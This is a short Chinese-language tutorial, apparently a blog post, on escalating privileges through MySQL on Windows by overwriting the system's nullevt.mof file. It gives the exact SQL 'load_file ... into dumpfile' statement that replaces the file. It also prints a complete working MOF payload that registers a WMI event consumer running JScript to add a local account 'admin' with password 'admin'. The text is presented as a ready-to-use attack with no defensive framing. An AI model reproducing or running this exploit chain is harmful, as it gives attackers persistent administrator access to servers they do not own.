mof提權的原理:
mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管對象格式"其作用是每隔五秒就會去監控進程創建和死亡。其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。
以下是mof提權的過程:
將mof上傳至任意可讀可寫目錄下,這里我傳到D:\wamp\下命名為:xishaonian.mof。也就是:D:\wamp\xishaonian.mof
然后使用sql語句將系統當中默認的nullevt.mof給替換掉。進而讓系統執行我們這個惡意的mof文件。
替換的sql語句:select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
mof文件代碼如下所示:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
可見其中是有一段添加用戶的腳本。賬號為admin 密碼為admin
THE END